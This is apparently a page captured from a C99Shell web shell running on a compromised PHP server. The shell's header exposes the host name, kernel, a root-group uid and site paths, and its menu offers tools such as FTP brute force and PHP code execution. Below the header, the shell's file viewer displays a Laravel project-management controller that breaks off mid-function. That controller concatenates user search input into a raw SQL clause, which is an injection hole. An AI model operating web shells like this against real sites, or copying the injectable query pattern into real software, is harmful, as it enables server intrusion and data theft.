!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProjectController.php (66.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\ProjectStage;
use 
App\Models\Task;
use 
App\Models\TaskComment;
use 
App\Models\TaskFile;
use 
App\Models\TaskStage;
use 
App\Models\TimeTracker;
use 
App\Models\User;
use 
App\Models\Project;
use 
App\Models\Utility;
use 
App\Models\Bug;
use 
App\Models\BugStatus;
use 
App\Models\BugFile;
use 
App\Models\BugComment;
use 
App\Models\Milestone;
use 
Carbon\Carbon;
use 
App\Models\ActivityLog;
use 
App\Models\ProjectTask;
use 
App\Models\ProjectUser;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\App;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Crypt;
use 
Illuminate\Support\Facades\Validator;

class 
ProjectController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index($view 'grid')
    {

        if(
\Auth::user()->can('manage project'))
        {
            return 
view('projects.index'compact('view'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {
        if(
\Auth::user()->can('create project'))
        {
          
$users   User::where('created_by''='\Auth::user()->creatorId())->where('type''!=''client')->get()->pluck('name''id');
          
$clients User::where('created_by''='\Auth::user()->creatorId())->where('type''=''client')->get()->pluck('name''id');
          
$clients->prepend('Select Client''');
          
$users->prepend('Select User''');
            return 
view('projects.create'compact('clients','users'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {


        if(
\Auth::user()->can('create project'))
        {
            
$validator \Validator::make(
                
$request->all(), [
                                
'project_name' => 'required',
                                
'project_image' => 'required',
                            ]
            );
            if(
$validator->fails())
            {
                return 
redirect()->back()->with('error'Utility::errorFormat($validator->getMessageBag()));
            }
            
$project = new Project();
            
$project->project_name $request->project_name;
            
$project->start_date date("Y-m-d H:i:s"strtotime($request->start_date));
            
$project->end_date date("Y-m-d H:i:s"strtotime($request->end_date));

            if(
$request->hasFile('project_image'))
            {
                
//storage limit
                
$image_size $request->file('project_image')->getSize();
                
$result Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size);
                if(
$result==1)
                {
                    
$imageName time() . '.' $request->project_image->extension();
                    
$request->file('project_image')->storeAs('projects'$imageName);
                    
$project->project_image      'projects/'.$imageName;
                }
            }

            
$project->client_id $request->client;
            
$project->budget = !empty($request->budget) ? $request->budget 0;
            
$project->description $request->description;
            
$project->status $request->status;
            
$project->estimated_hrs $request->estimated_hrs;
            
$project->tags $request->tag;
            
$project->created_by \Auth::user()->creatorId();
            
$project['copylinksetting']   = '{"member":"on","milestone":"off","basic_details":"on","activity":"off","attachment":"on","bug_report":"on","task":"off","tracker_details":"off","timesheet":"off" ,"password_protected":"off"}';

            
$project->save();

            if(
\Auth::user()->type=='company'){

                
ProjectUser::create(
                    [
                        
'project_id' => $project->id,
                        
'user_id' => Auth::user()->id,
                    ]
                );

                if(
$request->user){
                    foreach(
$request->user as $key => $value) {
                        
ProjectUser::create(
                            [
                                
'project_id' => $project->id,
                                
'user_id' => $value,
                            ]
                        );
                    }
                }


            }else{
                
ProjectUser::create(
                    [
                        
'project_id' => $project->id,
                        
'user_id' => Auth::user()->creatorId(),
                    ]
                );

                
ProjectUser::create(
                    [
                        
'project_id' => $project->id,
                        
'user_id' => Auth::user()->id,
                    ]
                );

                if(
$request->user){
                    foreach(
$request->user as $key => $value) {
                        
ProjectUser::create(
                            [
                                
'project_id' => $project->id,
                                
'user_id' => $value,
                            ]
                        );
                    }
                }

            }


            
//For Notification
            
$setting  Utility::settings(\Auth::user()->creatorId());
            
$projectNotificationArr = [
                
'project_name' => $request->project_name,
                
'user_name' => \Auth::user()->name,
            ];
            
//Slack Notification
            
if(isset($setting['project_notification']) && $setting['project_notification'] ==1)
            {
                
Utility::send_slack_msg('new_project'$projectNotificationArr);
            }

            
//Telegram Notification
            
if(isset($setting['telegram_project_notification']) && $setting['telegram_project_notification'] ==1)
            {
                
Utility::send_telegram_msg('new_project'$projectNotificationArr);
            }

            
//webhook
            
$module ='New Project';
            
$webhook=  Utility::webhookSetting($module);
            if(
$webhook)
            {
                
$parameter json_encode($project);
                
$status Utility::WebhookCall($webhook['url'],$parameter,$webhook['method']);
                if(
$status == false)
                {
                    return 
redirect()->back()->with('error'__('Webhook call failed.'));
                }

            }


            return 
redirect()->route('projects.index')->with('success'__('Project Add Successfully'). ((isset($result) && $result!=1) ? '<br> <span class="text-danger">' $result '</span>' ''));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    
/**
     * Display the specified resource.
     *
     * @param  \App\Poject  $poject
     * @return \Illuminate\Http\Response
     */
    
public function show(Project $project)
    {
        if(
\Auth::user()->can('view project'))
        {

            
$usr           Auth::user();
            if(
\Auth::user()->type == 'client'){
              
$user_projects Project::where('client_id',\Auth::user()->id)->pluck('id','id')->toArray();;
            }else{
              
$user_projects $usr->projects->pluck('id')->toArray();
            }
            if(
in_array($project->id$user_projects))
            {
                
$project_data = [];
                
// Task Count
                
$tasks Project::projectTask($project->id);
                
$project_task         $tasks->count();
                
$completedTask ProjectTask::where('project_id',$project->id)->where('is_complete',1)->get();

                
$project_done_task    $completedTask->count();

                
$project_data['task'] = [
                    
'total' => number_format($project_task),
                    
'done' => number_format($project_done_task),
                    
'percentage' => Utility::getPercentage($project_done_task$project_task),
                ];

                
// end Task Count

                // Expense
                
$expAmt 0;
                foreach(
$project->expense as $expense)
                {
                    
$expAmt += $expense->amount;
                }

                
$project_data['expense'] = [
                    
'allocated' => $project->budget,
                    
'total' => $expAmt,
                    
'percentage' => Utility::getPercentage($expAmt$project->budget),
                ];
                
// end expense


                // Users Assigned
                
$total_users User::where('created_by''='$usr->id)->count();


                
$project_data['user_assigned'] = [
                    
'total' => number_format($total_users) . '/' number_format($total_users),
                    
'percentage' => Utility::getPercentage($total_users$total_users),
                ];
                
// end users assigned

                // Day left
                
$total_day                Carbon::parse($project->start_date)->diffInDays(Carbon::parse($project->end_date));
                
$remaining_day            Carbon::parse($project->start_date)->diffInDays(now());
                
$project_data['day_left'] = [
                    
'day' => number_format($remaining_day) . '/' number_format($total_day),
                    
'percentage' => Utility::getPercentage($remaining_day$total_day),
                ];
                
// end Day left

                // Open Task
                    
$remaining_task ProjectTask::where('project_id''='$project->id)->where('is_complete''='0)->where('created_by',\Auth::user()->creatorId())->count();
                    
$total_task     $project->tasks->count();

                
$project_data['open_task'] = [
                    
'tasks' => number_format($remaining_task) . '/' number_format($total_task),
                    
'percentage' => Utility::getPercentage($remaining_task$total_task),
                ];
                
// end open task

                // Milestone
                
$total_milestone           $project->milestones()->count();
                
$complete_milestone        $project->milestones()->where('status''LIKE''complete')->count();
                
$project_data['milestone'] = [
                    
'total' => number_format($complete_milestone) . '/' number_format($total_milestone),
                    
'percentage' => Utility::getPercentage($complete_milestone$total_milestone),
                ];
                
// End Milestone

                // Time spent

                    
$times $project->timesheets()->where('created_by''='$usr->id)->pluck('time')->toArray();
                
$totaltime                  str_replace(':''.'Utility::timeToHr($times));
                
$project_data['time_spent'] = [
                    
'total' => number_format($totaltime) . '/' number_format($totaltime),
                    
'percentage' => Utility::getPercentage(number_format($totaltime), $totaltime),
                ];
                
// end time spent

                // Allocated Hours
                
$hrs Project::projectHrs($project->id);

                
$project_data['task_allocated_hrs'] = [
                    
'hrs' => number_format($hrs['allocated']) . '/' number_format($hrs['allocated']),
                    
'percentage' => Utility::getPercentage($hrs['allocated'], $hrs['allocated']),
                ];
                
// end allocated hours

                // Chart
                
$seven_days      Utility::getLastSevenDays();
                
$chart_task      = [];
                
$chart_timesheet = [];
                
$cnt             0;
                
$cnt1            0;

                foreach(
array_keys($seven_days) as $k => $date)
                {
                        
$task_cnt     $project->tasks()->where('is_complete''='1)->whereRaw("find_in_set('" $usr->id "',assign_to)")->where('marked_at''LIKE'$date)->count();
                        
$arrTimesheet $project->timesheets()->where('created_by''='$usr->id)->where('date''LIKE'$date)->pluck('time')->toArray();

                    
// Task Chart Count
                    
$cnt += $task_cnt;

                    
// Timesheet Chart Count
                    
$timesheet_cnt str_replace(':''.'Utility::timeToHr($arrTimesheet));
                    
$cn[]          = $timesheet_cnt;
                    
$cnt1          += $timesheet_cnt;

                    
$chart_task[]      = $task_cnt;
                    
$chart_timesheet[] = $timesheet_cnt;
                }

                
$project_data['task_chart']      = [
                    
'chart' => $chart_task,
                    
'total' => $cnt,
                ];
                
$project_data['timesheet_chart'] = [
                    
'chart' => $chart_timesheet,
                    
'total' => $cnt1,
                ];

                
$last_task      TaskStage::orderBy('order''DESC')->where('created_by',\Auth::user()->creatorId())->first();
            
                
// end chart

                
return view('projects.view',compact('project','project_data' 'last_task'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission Denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Poject  $poject
     * @return \Illuminate\Http\Response
     */
    
public function edit(Project $project)
    {
        if(
\Auth::user()->can('edit project'))
        {
          
$clients User::where('created_by''='\Auth::user()->creatorId())->where('type''=''client')->get()->pluck('name''id');
          
$project Project::findOrfail($project->id);
          if(
$project->created_by == \Auth::user()->creatorId())
          {
              return 
view('projects.edit'compact('project''clients'));
          }
          else
          {
              return 
response()->json(['error' => __('Permission denied.')], 401);
          }
            return 
view('projects.edit',compact('project'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Poject  $poject
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $requestProject $project)
    {
        if(
\Auth::user()->can('edit project'))
        {
            
$validator \Validator::make(
                
$request->all(), [
                                
'project_name' => 'required',
                            ]
            );
            if(
$validator->fails())
            {
                return 
redirect()->back()->with('error'Utility::errorFormat($validator->getMessageBag()));
            }
            
$project Project::find($project->id);
            
$project->project_name $request->project_name;
            
$project->start_date date("Y-m-d H:i:s"strtotime($request->start_date));
            
$project->end_date date("Y-m-d H:i:s"strtotime($request->end_date));
            if(
$request->hasFile('project_image'))
            {
                
//storage limit
                
$file_path $project->project_image;
                
$image_size $request->file('project_image')->getSize();
                
$result Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size);

                if(
$result==1) {
//                Utility::checkFileExistsnDelete([$project->project_image]);
                    
Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path);
                    
$imageName time() . '.' $request->project_image->extension();
                    
$request->file('project_image')->storeAs('projects'$imageName);
                    
$project->project_image 'projects/' $imageName;
                }
            }
            
$project->budget $request->budget;
            
$project->client_id $request->client;
            
$project->description $request->description;
            
$project->status $request->status;
            
$project->estimated_hrs $request->estimated_hrs;
            
$project->tags $request->tag;
            
$project->save();

            return 
redirect()->route('projects.index')->with('success'__('Project Updated Successfully'). ((isset($result) && $result!=1) ? '<br> <span class="text-danger">' $result '</span>' ''));

        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  \App\Poject  $poject
     * @return \Illuminate\Http\Response
     */
    
public function destroy(Project $project)
    {
        if(
\Auth::user()->can('delete project'))
        {
            if(!empty(
$project->project_image))
            {
                
$file_path $project->project_image;
                
$result Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path);
            }
            
$project->delete();
            return 
redirect()->back()->with('success'__('Project Successfully Deleted.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
inviteMemberView(Request $request$project_id)
    {
        
$usr          Auth::user();
        
$project      Project::find($project_id);

        
$user_project $project->users->pluck('id')->toArray();

        
$user_contact User::where('created_by'\Auth::user()->creatorId())->where('type','!=','client')->whereNOTIn('id'$user_project)->pluck('id')->toArray();
        
$arrUser      array_unique($user_contact);
        
$users        User::whereIn('id'$arrUser)->get();

        return 
view('projects.invite'compact('project_id''users'));
    }

    public function 
inviteProjectUserMember(Request $request)
    {
        
$authuser Auth::user();

        
// Make entry in project_user tbl
        
ProjectUser::create(
            [
                
'project_id' => $request->project_id,
                
'user_id' => $request->user_id,
                
'invited_by' => $authuser->id,
            ]
        );

        
// Make entry in activity_log tbl
        
ActivityLog::create(
            [
                
'user_id' => $authuser->id,
                
'project_id' => $request->project_id,
                
'log_type' => 'Invite User',
                
'remark' => json_encode(['title' => $authuser->name]),
            ]
        );

        return 
json_encode(
            [
                
'code' => 200,
                
'status' => 'Success',
                
'success' => __('User invited successfully.'),
            ]
        );
    }





    public function 
destroyProjectUser($id$user_id)
    {
        
$project Project::find($id);
            if(
$project->created_by == \Auth::user()->ownerId())
            {
                
ProjectUser::where('project_id''='$project->id)->where('user_id''='$user_id)->delete();

                return 
redirect()->back()->with('success'__('User successfully deleted!'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission Denied.'));
            }

    }

    public function 
loadUser(Request $request)
    {
        if(
$request->ajax())
        {
            
$project    Project::find($request->project_id);
            
$returnHTML view('projects.users'compact('project'))->render();

            return 
response()->json(
                [
                    
'success' => true,
                    
'html' => $returnHTML,
                ]
            );
        }
    }

    public function 
milestone($project_id)
    {
        if(
\Auth::user()->can('create milestone'))
        {
            
$project Project::find($project_id);

            return 
view('projects.milestone'compact('project'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
milestoneStore(Request $request$project_id)
    {
        if(
\Auth::user()->can('create milestone'))
        {
            
$project   Project::find($project_id);
            
$validator Validator::make(
                
$request->all(), [
                                    
'title' => 'required',
                                    
'status' => 'required',
                                    
'cost' => 'required',
                                    
'due_date' => 'required',
                                    
'start_date'=>'required'
                               
]
            );

            if(
$validator->fails())
            {
                return 
redirect()->back()->with('error'Utility::errorFormat($validator->getMessageBag()));
            }

            
$milestone              = new Milestone();
            
$milestone->project_id  $project->id;
            
$milestone->title       $request->title;
            
$milestone->status      $request->status;
            
$milestone->cost        $request->cost;
            
$milestone->start_date    $request->start_date;
            
$milestone->due_date    $request->due_date;
            
$milestone->description $request->description;
            
$milestone->save();

            
ActivityLog::create(
                [
                    
'user_id' => \Auth::user()->id,
                    
'project_id' => $project->id,
                    
'log_type' => 'Create Milestone',
                    
'remark' => json_encode(['title' => $milestone->title]),
                ]
            );

            return 
redirect()->back()->with('success'__('Milestone successfully created.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
milestoneEdit($id)
    {
        if(
\Auth::user()->can('edit milestone'))
        {
            
$milestone Milestone::find($id);

            return 
view('projects.milestoneEdit'compact('milestone'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
milestoneUpdate($idRequest $request)
    {
        if(
\Auth::user()->can('edit milestone'))
        {
            
$validator Validator::make(
                
$request->all(), [
                                    
'title' => 'required',
                                    
'status' => 'required',
                                    
'cost' => 'required',
                                    
'due_date' => 'required',
                                    
'start_date'=>'required'
                            
]
            );

            if(
$validator->fails())
                {
                    return 
redirect()->back()->with('error'Utility::errorFormat($validator->getMessageBag()));
                }

            
$milestone              Milestone::find($id);
            
$milestone->title       $request->title;
            
$milestone->status      $request->status;
            
$milestone->cost        $request->cost;
            
$milestone->progress    $request->progress;
            
$milestone->due_date    $request->duedate;
            
$milestone->start_date  $request->start_date;
            
$milestone->description $request->description;
            
$milestone->save();

            return 
redirect()->back()->with('success'__('Milestone updated successfully.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
milestoneDestroy($id)
    {
        if(
\Auth::user()->can('delete milestone'))
        {
            
$milestone Milestone::find($id);
            
$milestone->delete();

            return 
redirect()->back()->with('success'__('Milestone successfully deleted.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
milestoneShow($id)
    {
        if(
\Auth::user()->can('view milestone'))
        {
            
$milestone Milestone::find($id);

            return 
view('projects.milestoneShow'compact('milestone'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
filterProjectView(Request $request)
    {

        if(
\Auth::user()->can('manage project'))
        {
            
$usr           Auth::user();
            if(
\Auth::user()->type == 'client'){
              
$user_projects Project::where('client_id',\Auth::user()->id)->where('created_by',\Auth::user()->creatorId())->pluck('id','id')->toArray();;
            }else{
              
$user_projects $usr->projects()->pluck('project_id''project_id')->toArray();
            }
            if(
$request->ajax() && $request->has('view') && $request->has('sort'))
            {
                
$sort     explode('-'$request->sort);
                
$projects Project::whereIn('id'array_keys($user_projects))->orderBy($sort[0], $sort[1]);

                if(!empty(
$request->keyword))
                {
                    
$projects->where('project_name''LIKE'$request->keyword '%')->orWhereRaw('FIND_IN_SET("' $request->keyword '",tags)');
                }
                if(!empty(
$request->status))
                {
                    
$projects->whereIn('status'$request->status);
                }
                
$projects   $projects->get();
                
$last_task      TaskStage::orderBy('order''DESC')->where('created_by',\Auth::user()->creatorId())->first();
                
                
$returnHTML view('projects.' $request->viewcompact('projects''user_projects''last_task'))->render();

                return 
response()->json(
                    [
                        
'success' => true,
                        
'html' => $returnHTML,
                    ]
                );
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    
// Project Gantt Chart
    
public function gantt($projectID$duration 'Week')
    {
        if(
\Auth::user()->can('view grant chart'))
        {
            
$project Project::find($projectID);
            
$tasks   = [];

            if(
$project)
            {
                
$tasksobj $project->tasks;

                foreach(
$tasksobj as $task)
                {
                    
$tmp                 = [];
                    
$tmp['id']           = 'task_' $task->id;
                    
$tmp['name']         = $task->name;
                    
$tmp['start']        = $task->start_date;
                    
$tmp['end']          = $task->end_date;
                    
$tmp['custom_class'] = (empty($task->priority_color) ? '#ecf0f1' $task->priority_color);
                    
$tmp['progress']     = str_replace('%'''$task->taskProgress($task)['percentage']);
                    
$tmp['extra']        = [
                        
'priority' => ucfirst(__($task->priority)),
                        
'comments' => count($task->comments),
                        
'duration' => Utility::getDateFormated($task->start_date) . ' - ' Utility::getDateFormated($task->end_date),
                    ];
                    
$tasks[]             = $tmp;
                }
            }

            return 
view('projects.gantt'compact('project''tasks''duration'));
        }

        else
        {
            return 
redirect()->back()->with('error'__('Permission Denied.'));
        }
    }

    public function 
ganttPost($projectIDRequest $request)
    {
        
$project Project::find($projectID);

        if(
$project)
        {
            if(
\Auth::user()->can('view project task'))
            {
                
$id               trim($request->task_id'task_');
                
$task             ProjectTask::find($id);
                
$task->start_date $request->start;
                
$task->end_date   $request->end;
                
$task->save();

                return 
response()->json(
                    [
                        
'is_success' => true,
                        
'message' => __("Time Updated"),
                    ], 
200
                
);
            }
            else
           {
                return 
response()->json(
                    [
                        
'is_success' => false,
                        
'message' => __("You can't change Date!"),
                    ], 
400
                
);
            }
        }
        else
        {
            return 
response()->json(
                [
                    
'is_success' => false,
                    
'message' => __("Something is wrong."),
                ], 
400
            
);
        }
    }

    public function 
bug($project_id)
    {


        
$user Auth::user();
        if(
$user->can('manage bug report'))
        {
            
$project Project::find($project_id);

            if(!empty(
$project) && $project->created_by == Auth::user()->creatorId())
            {

                if(
$user->type != 'company')
                {
                    if(
\Auth::user()->type == 'client'){
                      
$bugs Bug::where('project_id',$project->id)->get();
                    }else{
                      
$bugs Bug::where('project_id',$project->id)->whereRaw("find_in_set('" $user->id "',assign_to)")->get();
                    }
                }

                if(
$user->type == 'company')
                {
                    
$bugs Bug::where('project_id''='$project_id)->get();
                }

                return 
view('projects.bug'compact('project''bugs'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
bugCreate($project_id)
    {
        if(
\Auth::user()->can('create bug report'))
        {

            
$priority     Bug::$priority;
            
$status       BugStatus::where('created_by''='\Auth::user()->creatorId())->get()->pluck('title''id');
            
$project_user ProjectUser::where('project_id'$project_id)->get();
            
            
$users        = [];
            foreach(
$project_user as $key=>$user)
            {

                
$user_data User::find($user->user_id);
                
$key $user->user_id;
                
$user_name = !empty($user_data)? $user_data->name:'';
                
$users[$key] = $user_name;
            }

            return 
view('projects.bugCreate'compact('status''project_id''priority''users'));
        }
        else
        {
            return 
redirect()->back()->with('error''Permission denied.');
        }

    }

    function 
bugNumber()
    {
        
$latest Bug::where('created_by''='\Auth::user()->creatorId())->latest()->first();
        if(!
$latest)
        {
            return 
1;
        }

        return 
$latest->bug_id 1;
    }

    public function 
bugStore(Request $request$project_id)
    {
        if(
\Auth::user()->can('create bug report'))
        {
            
$validator \Validator::make(
                
$request->all(), [

                                   
'title' => 'required',
                                   
'priority' => 'required',
                                   
'status' => 'required',
                                   
'assign_to' => 'required',
                                   
'start_date' => 'required',
                                   
'due_date' => 'required',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->route('task.bug'$project_id)->with('error'$messages->first());
            }

            
$usr         \Auth::user();
            
$userProject ProjectUser::where('project_id''='$project_id)->pluck('user_id')->toArray();
            
$project     Project::where('id''='$project_id)->first();

            
$bug              = new Bug();
            
$bug->bug_id      $this->bugNumber();
            
$bug->project_id  $project_id;
            
$bug->title       $request->title;
            
$bug->priority    $request->priority;
            
$bug->start_date  $request->start_date;
            
$bug->due_date    $request->due_date;
            
$bug->description $request->description;
            
$bug->status      $request->status;
            
$bug->assign_to   $request->assign_to;
            
$bug->created_by  \Auth::user()->creatorId();
            
$bug->save();

            
ActivityLog::create(
                [
                    
'user_id' => $usr->id,
                    
'project_id' => $project_id,
                    
'log_type' => 'Create Bug',
                    
'remark' => json_encode(['title' => $bug->title]),
                ]
            );

            
$projectArr = [
                
'project_id' => $project_id,
                
'name' => $project->name,
                
'updated_by' => $usr->id,
            ];

            return 
redirect()->route('task.bug'$project_id)->with('success'__('Bug successfully created.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
bugEdit($project_id$bug_id)
    {
        if(
\Auth::user()->can('edit bug report'))
        {
            
$bug          Bug::find($bug_id);
            
$priority     Bug::$priority;
            
$status       BugStatus::where('created_by''='\Auth::user()->creatorId())->get()->pluck('title''id');
            
$project_user ProjectUser::where('project_id'$project_id)->get();
            
$users        = array();
            foreach(
$project_user as $user)
            {
              
$user_data User::where('id',$user->user_id)->first();
              
$key $user->user_id;
              
$user_name = !empty($user_data) ? $user_data->name:'';
              
$users[$key] = $user_name;
            }

            return 
view('projects.bugEdit'compact('status''project_id''priority''users''bug'));
        }
        else
        {
            return 
redirect()->back()->with('error''Permission denied.');
        }


    }

    public function 
bugUpdate(Request $request$project_id$bug_id)
    {


        if(
\Auth::user()->can('edit bug report'))
        {
            
$validator \Validator::make(
                
$request->all(), [
                                   
'title' => 'required',
                                   
'priority' => 'required',
                                   
'status' => 'required',
                                   
'assign_to' => 'required',
                                   
'start_date' => 'required',
                                   
'due_date' => 'required',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->route('task.bug'$project_id)->with('error'$messages->first());
            }
            
$bug              Bug::find($bug_id);
            
$bug->title       $request->title;
            
$bug->priority    $request->priority;
            
$bug->start_date  $request->start_date;
            
$bug->due_date    $request->due_date;
            
$bug->description $request->description;
            
$bug->status      $request->status;
            
$bug->assign_to   $request->assign_to;
            
$bug->save();

            return 
redirect()->route('task.bug'$project_id)->with('success'__('Bug successfully created.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
bugDestroy($project_id$bug_id)
    {


        if(
\Auth::user()->can('delete bug report'))
        {
            
$bug Bug::find($bug_id);
            
$bug->delete();

            return 
redirect()->route('task.bug'$project_id)->with('success'__('Bug successfully deleted.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
bugKanban($project_id)
    {

        
$user Auth::user();
        if(
$user->can('move bug report'))
        {

            
$project Project::find($project_id);

            if(!empty(
$project) && $project->created_by == $user->creatorId())
            {
                if(
$user->type != 'company')
                {
                    
$bugStatus BugStatus::where('created_by''='Auth::user()->creatorId())->orderBy('order''ASC')->get();
                }

                if(
$user->type == 'company' || $user->type == 'client')
                {
                    
$bugStatus BugStatus::where('created_by''='Auth::user()->creatorId())->orderBy('order''ASC')->get();
                }

                return 
view('projects.bugKanban'compact('project''bugStatus'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
bugKanbanOrder(Request $request)
    {
//        dd($request->all());
        
if(\Auth::user()->can('move bug report'))
        {
            
$post   $request->all();
            
$bug    Bug::find($post['bug_id']);

            
$status BugStatus::find($post['status_id']);

            if(!empty(
$status))
            {
                
$bug->status $post['status_id'];
                
$bug->save();
            }

            foreach(
$post['order'] as $key => $item)
            {
                if(
$item != 'null'){
                    
$bug_order         Bug::find($item);
                    if(!empty(
$bug_order)){
                        
$bug_order->order  $key;
                        
$bug_order->status $post['status_id'];
                        
$bug_order->save();
                    }
                }
            }

        }
        else
        {
            return 
redirect()->back()->with('error''Permission denied.');
        }


    }

    public function 
bugShow($project_id$bug_id)
    {
        
$bug Bug::find($bug_id);

        return 
view('projects.bugShow'compact('bug'));
    }

    public function 
bugCommentStore(Request $request$project_id$bug_id)
    {

        
$post               = [];
        
$post['bug_id']     = $bug_id;
        
$post['comment']    = $request->comment;
        
$post['created_by'] = \Auth::user()->authId();
        
$post['user_type']  = \Auth::user()->type;
        
$comment            BugComment::create($post);
        
$comment->deleteUrl route('bug.comment.destroy', [$comment->id]);

        return 
response()->json(
            [
                
'is_success' => true,
                
'message' => __("Bug comment successfully created."),
                
'data'=>$comment
            
], 200
        
);
    }

    public function 
bugCommentDestroy($comment_id)
    {
        
$comment BugComment::find($comment_id);
        
$comment->delete();

        return 
"true";
    }

    public function 
bugCommentStoreFile(Request $request$bug_id)
    {
        
$request->validate(
            [
'file' => 'required']
        );
        
$fileName $bug_id time() . "_" $request->file->getClientOriginalName();

        
$request->file->storeAs('bugs'$fileName);
        
$post['bug_id']     = $bug_id;
        
$post['file']       = $fileName;
        
$post['name']       = $request->file->getClientOriginalName();
        
$post['extension']  = "." $request->file->getClientOriginalExtension();
        
$post['file_size']  = round(($request->file->getSize() / 1024) / 10242) . ' MB';
        
$post['created_by'] = \Auth::user()->authId();
        
$post['user_type']  = \Auth::user()->type;

        
$BugFile            BugFile::create($post);
        
$BugFile->deleteUrl route('bug.comment.file.destroy', [$BugFile->id]);

        return 
$BugFile->toJson();
    }

    public function 
bugCommentDestroyFile(Request $request$file_id)
    {
        
$commentFile BugFile::find($file_id);
        
$path        storage_path('bugs/' $commentFile->file);
        if(
file_exists($path))
        {
            
\File::delete($path);
        }
        
$commentFile->delete();

        return 
"true";
    }

    public function 
tracker($id)
    {
        
$treckers =TimeTracker::where('project_id',$id)->get();
        return 
view('time_trackers.index',compact('treckers'));
    }

    public function 
getProjectChart($arrParam)
    {
        
$arrDuration = [];
        if (
$arrParam['duration'] && $arrParam['duration'] == 'week') {
            
$previous_week Utility::getFirstSeventhWeekDay(-1);
            foreach (
$previous_week['datePeriod'] as $dateObject) {
                
$arrDuration[$dateObject->format('Y-m-d')] = $dateObject->format('D');
            }
        }

        
$arrTask = [
            
'label' => [],
            
'color' => [],
        ];
        
$stages TaskStage::where('created_by''='$arrParam['created_by'])->orderBy('order');

        foreach (
$arrDuration as $date => $label) {
            
$objProject projectTask::select('stage_id'\DB::raw('count(*) as total'))->whereDate('updated_at''='$date)->groupBy('stage_id');

            if (isset(
$arrParam['project_id'])) {
                
$objProject->where('project_id''='$arrParam['project_id']);
            }


            
$data $objProject->pluck('total''stage_id')->all();

            foreach (
$stages->pluck('name''id')->toArray() as $id => $stage) {
                
$arrTask[$id][] = isset($data[$id]) ? $data[$id] : 0;
            }
            
$arrTask['label'][] = __($label);
        }
        
$arrTask['stages'] = $stages->pluck('name''id')->toArray();

        return 
$arrTask;
    }

    
//project duplicate module
    
public function copyproject($id)
    {
        if(
Auth::user()->can('create project'))
        {
            
$project Project::find($id);

            return 
view('projects.copy',compact('project'));
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }

    public function 
copyprojectstore(Request $request,$id)
    {

        if(
Auth::user()->can('create project'))
        {
            
$project                            Project::find($id);
            
$duplicate                          = new Project();
            
$duplicate['project_name']          = $project->project_name;
            
$duplicate['status']                = $project->status;
            
$duplicate['project_image']         = $project->project_image;
            
$duplicate['client_id']             = $project->client_id;
            
$duplicate['description']           = $project->description;
            
